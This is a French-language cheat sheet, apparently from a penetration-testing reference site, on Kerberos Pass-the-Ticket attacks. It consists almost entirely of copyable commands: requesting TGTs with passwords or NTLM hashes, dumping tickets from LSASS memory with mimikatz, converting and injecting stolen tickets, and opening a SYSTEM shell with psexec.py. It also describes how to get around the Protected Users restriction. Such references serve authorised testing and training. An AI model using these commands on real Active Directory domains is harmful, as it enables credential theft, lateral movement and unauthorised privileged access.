Post-Exploitation

Pass-the-Ticket

Voler, convertir et réutiliser des tickets Kerberos (TGT/TGS), y compris via Overpass-the-Hash.

Obtenir un ticket

Copy command

getTGT.py $DOMAIN/$USER:$PASS -dc-ip $DC

Description: TGT classique avec un mot de passe : génère un fichier .ccache réutilisable.

Copy command

getTGT.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC

Description: Overpass-the-Hash : échange un hash NTLM contre un vrai TGT Kerberos via AS-REQ (pré-authentification chiffrée avec le hash comme clé RC4/AES).

Copy command

mimikatz # sekurlsa::tickets /export

Description: Extrait tous les tickets Kerberos (TGT + TGS) présents en mémoire LSASS sur la machine, au format .kirbi.

Réutiliser un ticket

Copy command

export KRB5CCNAME=$USER.ccache && nxc smb $TARGET -u $USER -p '' --use-kcache

Description: Authentification Kerberos pure via la variable d'environnement ccache : aucun mot de passe ni hash transmis.

Copy command

ticketConverter.py ticket.kirbi ticket.ccache

Description: Convertir un ticket .kirbi (format Windows/mimikatz) vers .ccache (format Linux/impacket), ou l'inverse avec kirbi2ccache.

Copy command

mimikatz # kerberos::ptt $TICKET.kirbi

Description: Injecte un ticket dans la session Kerberos Windows courante (LSASS) : tout nouvel accès réseau l'utilise automatiquement.

Copy command

psexec.py -k -no-pass $DOMAIN/$USER@$TARGET -dc-ip $DC

Description: Shell SYSTEM via Kerberos avec le ticket déjà chargé (KRB5CCNAME) : pas de mot de passe requis sur la ligne de commande.

Pourquoi PTT plutôt que PTH

Copy command

# Protected Users, NTLM désactivé sur le domaine, ou service qui n'accepte que Kerberos -> PTH échoue, PTT fonctionne

Description: Un compte Protected Users refuse NTLM mais accepte Kerberos AES : Overpass-the-Hash (asktgt avec le hash) puis PTT contourne cette restriction, vu en conditions réelles sur HTB Pro Lab Tengu et Dante (comptes Tier-0 protégés).

Copy command

# un TGS volé (kerberoasting, délégation) est directement un ticket, pas un hash

Description: Beaucoup de chemins d'attaque AD (délégation contrainte, RBCD, DCSync via S4U) produisent directement des tickets Kerberos : PTT est le mécanisme naturel pour les exploiter, pas une conversion vers NTLM.